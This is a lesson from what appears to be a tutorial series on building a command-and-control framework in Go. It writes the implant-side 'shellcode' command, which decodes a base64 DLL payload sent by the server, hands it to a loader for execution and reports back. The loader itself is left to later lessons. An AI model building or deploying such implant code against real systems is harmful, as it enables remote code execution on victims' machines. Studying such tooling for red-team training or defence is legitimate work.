Lesson 18: Shellcode Orchestrator
Solutions
- Starting Code: lesson_18_begin
- Completed Code: lesson_18_end
Overview
We have the execution framework in place, but no actual command implementations. In this lesson, we’ll create the orchestrator for the shellcode command.
The orchestrator’s responsibilities:
- Unpack the
ServerResponseto extract command-specific arguments - Validate arguments on the agent side
- Decode the base64 shellcode data back to raw bytes
- Call the OS-specific “doer” to execute the shellcode
- Handle results and errors
- Return an
AgentTaskResulttoExecuteTask
We’ll implement the orchestrator in this lesson. The actual shellcode doer (the complex part) will come in the next lessons.
What We’ll Create
orchestrateShellcode()method inagent/orchestrator.go- Registration of the shellcode command
Create the Orchestrator
Create a new file agent/shellcode.go:
// orchestrateShellcode is the orchestrator for the "shellcode" command
func (agent *HTTPSAgent) orchestrateShellcode(job *server.HTTPSResponse) AgentTaskResult {
// Create an instance of the shellcode args struct
var shellcodeArgs control.ShellcodeArgsAgent
// ServerResponse.Arguments contains the command-specific args, so now we unmarshal the field into the struct
if err := json.Unmarshal(job.Arguments, &shellcodeArgs); err != nil {
errMsg := fmt.Sprintf("Failed to unmarshal ShellcodeArgs for Task ID %s: %v. ", job.JobID, err)
log.Printf("|ERR SHELLCODE ORCHESTRATOR| %s", errMsg)
return AgentTaskResult{
JobID: job.JobID,
Success: false,
Error: errors.New("failed to unmarshal ShellcodeArgs"),
}
}
log.Printf("|SHELLCODE ORCHESTRATOR| Task ID: %s. Executing Shellcode, Export Function: %s, ShellcodeLen(b64)=%d\n",
job.JobID, shellcodeArgs.ExportName, len(shellcodeArgs.ShellcodeBase64))
// Some basic agent-side validation
if shellcodeArgs.ShellcodeBase64 == "" {
log.Printf("|ERR SHELLCODE ORCHESTRATOR| Task ID %s: ShellcodeBase64 is empty.", job.JobID)
return AgentTaskResult{
JobID: job.JobID,
Success: false,
Error: errors.New("ShellcodeBase64 cannot be empty"),
}
}
if shellcodeArgs.ExportName == "" {
log.Printf("|ERR SHELLCODE ORCHESTRATOR| Task ID %s: ExportName is empty.", job.JobID)
return AgentTaskResult{
JobID: job.JobID,
Success: false,
Error: errors.New("ExportName must be specified for DLL execution"),
}
}
// Now let's decode our b64
rawShellcode, err := base64.StdEncoding.DecodeString(shellcodeArgs.ShellcodeBase64)
if err != nil {
log.Printf("|ERR SHELLCODE ORCHESTRATOR| Task ID %s: Failed to decode ShellcodeBase64: %v", job.JobID, err)
return AgentTaskResult{
JobID: job.JobID,
Success: false,
Error: errors.New("Failed to decode shellcode"),
}
}
// Call the "doer" function
commandShellcode := shellcode.New()
shellcodeResult, err := commandShellcode.DoShellcode(rawShellcode, shellcodeArgs.ExportName)
finalResult := AgentTaskResult{
JobID: job.JobID,
// Output will be set below after JSON encoding
}
outputJSON, _ := json.Marshal(string(shellcodeResult.Message))
finalResult.CommandResult = outputJSON
if err != nil {
loaderError := fmt.Sprintf("|ERR SHELLCODE ORCHESTRATOR| Loader execution error for TaskID %s: %v. Loader Message: %s",
job.JobID, err, shellcodeResult.Message)
log.Printf(loaderError)
finalResult.Error = errors.New(loaderError)
finalResult.Success = false
} else {
log.Printf("|SHELLCODE SUCCESS| Shellcode execution initiated successfully for TaskID %s. Loader Message: %s",
job.JobID, shellcodeResult.Message)
finalResult.Success = true
}
return finalResult
}
Note there will be many errors, since the Doer code does not yet exist etc.
That’s quite a lot of new code, so let’s break it down bit by bit
Step 1: Unmarshal Arguments
// Create an instance of the shellcode args struct
var shellcodeArgs control.ShellcodeArgsAgent
// ServerResponse.Arguments contains the command-specific args, so now we unmarshal the field into the struct
if err := json.Unmarshal(job.Arguments, &shellcodeArgs); err != nil {
errMsg := fmt.Sprintf("Failed to unmarshal ShellcodeArgs for Task ID %s: %v. ", job.JobID, err)
log.Printf("|ERR SHELLCODE ORCHESTRATOR| %s", errMsg)
return AgentTaskResult{
JobID: job.JobID,
Success: false,
Error: errors.New("failed to unmarshal ShellcodeArgs"),
}
} Create struct instance
var shellcodeArgs control.ShellcodeArgsAgent Here we prepare a struct to hold the parsed arguments.
Unmarshal the arguments
json.Unmarshal(job.Arguments, &shellcodeArgs) Remember, job.Arguments is json.RawMessage (raw JSON bytes). We unmarshal it into our typed struct so we can access the fields.
Handle errors
- If unmarshaling fails (corrupted data, wrong structure, etc.), we immediately return a failure result with the job ID and error message.
Log success
log.Printf("|SHELLCODE ORCHESTRATOR| Task ID: %s. Executing Shellcode, Export Function: %s, ShellcodeLen(b64)=%d\n",
job.JobID, shellcodeArgs.ExportName, len(shellcodeArgs.ShellcodeBase64)) Provide visibility into what we’re about to execute.
Step 2: Agent-Side Validation
// Some basic agent-side validation
if shellcodeArgs.ShellcodeBase64 == "" {
log.Printf("|ERR SHELLCODE ORCHESTRATOR| Task ID %s: ShellcodeBase64 is empty.", job.JobID)
return AgentTaskResult{
JobID: job.JobID,
Success: false,
Error: errors.New("ShellcodeBase64 cannot be empty"),
}
}
if shellcodeArgs.ExportName == "" {
log.Printf("|ERR SHELLCODE ORCHESTRATOR| Task ID %s: ExportName is empty.", job.JobID)
return AgentTaskResult{
JobID: job.JobID,
Success: false,
Error: errors.New("ExportName must be specified for DLL execution"),
}
} Why validate again on the agent?
We already validated on the server, but we validate again here as a defense-in-depth measure:
- Data corruption: Arguments could be corrupted during transmission
- Direct agent access: In some scenarios, an agent might be controlled directly (bypassing the server)
- Safety: Better to fail fast than to execute with bad data
- Clear errors: Agent-side validation provides specific error messages in the agent’s context
This is good engineering practice - don’t trust that validation happened elsewhere.
Step 3: Decode Base64
// Now let's decode our b64
rawShellcode, err := base64.StdEncoding.DecodeString(shellcodeArgs.ShellcodeBase64)
if err != nil {
log.Printf("|ERR SHELLCODE ORCHESTRATOR| Task ID %s: Failed to decode ShellcodeBase64: %v", job.JobID, err)
return AgentTaskResult{
JobID: job.JobID,
Success: false,
Error: errors.New("Failed to decode shellcode"),
}
} What’s happening:
Transform the base64 string back into raw bytes:
- Input:
"TVqQAAMAAAAEAAAA..."(base64 string) - Output:
[]byte{0x4D, 0x5A, 0x90, ...}(raw DLL bytes)
The base64.StdEncoding.DecodeString() function:
- Takes a base64-encoded string
- Returns the original binary data as a byte slice
- Returns an error if the string is invalid base64
If decoding fails, it means the data was corrupted or wasn’t actually base64.
Step 4: Call the Doer
// Call the "doer" function
commandShellcode := shellcode.New()
shellcodeResult, err := commandShellcode.DoShellcode(rawShellcode, shellcodeArgs.ExportName) Create doer instance
commandShellcode := shellcode.New() Call the constructor for the shellcode doer. This returns an OS-specific implementation (we’ll create this in the next lessons).
Call the doer
shellcodeResult, err := commandShellcode.DoShellcode(rawShellcode, shellcodeArgs.ExportName) Pass the raw DLL bytes and export name to the doer. Returns:
shellcodeResult- Contains a message about what happenederr- Error if execution failed
The doer is where the actual shellcode loading and execution happens.
Step 5: Build Result
finalResult := AgentTaskResult{
JobID: job.JobID,
// Output will be set below after JSON encoding
}
outputJSON, _ := json.Marshal(string(shellcodeResult.Message))
finalResult.CommandResult = outputJSON
if err != nil {
loaderError := fmt.Sprintf("|ERR SHELLCODE ORCHESTRATOR| Loader execution error for TaskID %s: %v. Loader Message: %s",
job.JobID, err, shellcodeResult.Message)
log.Printf(loaderError)
finalResult.Error = errors.New(loaderError)
finalResult.Success = false
} else {
log.Printf("|SHELLCODE SUCCESS| Shellcode execution initiated successfully for TaskID %s. Loader Message: %s",
job.JobID, shellcodeResult.Message)
finalResult.Success = true
}
return finalResult Create base result
finalResult := AgentTaskResult{
JobID: job.JobID,
} Start with the job ID (for correlation).
Marshal the message
outputJSON, _ := json.Marshal(string(shellcodeResult.Message))
finalResult.CommandResult = outputJSON Convert the doer’s message into JSON and store in CommandResult.
Handle error case
if err != nil {
loaderError := fmt.Sprintf("...")
log.Printf(loaderError)
finalResult.Error = errors.New(loaderError)
finalResult.Success = false
} If the doer returned an error, log it and mark the result as failed.
Handle success case
else {
log.Printf("|SHELLCODE SUCCESS| ...")
finalResult.Success = true
} If no error, log success and mark the result as successful.
Return
return finalResult Return the complete result to ExecuteTask, which will marshal and send it to the server.
Register the Command
Now we can uncomment the registration line. Update registerCommands() in agent/commands.go:
func registerCommands(agent *Agent) {
agent.commandOrchestrators["shellcode"] = (*Agent).orchestrateShellcode
// Register other commands here in the future
} What changed: We uncommented the line that maps “shellcode” to our orchestrator method using method expression.
Test
We’ll once again not be able to test since we have some dangling threads. From the next lesson on this will no longer be the case :)
Conclusion
In this lesson, we’ve implemented our shellcode orchestrator:
- Created
orchestrateShellcode()with complete argument handling - Implemented agent-side validation (defense in depth)
- Decoded base64 back to raw bytes
- Called the doer interface (not yet implemented)
- Built and returned proper
AgentTaskResult - Registered the shellcode command
In the next two lessons, we’ll create the actual shellcode doer interface and stub implementations for different operating systems!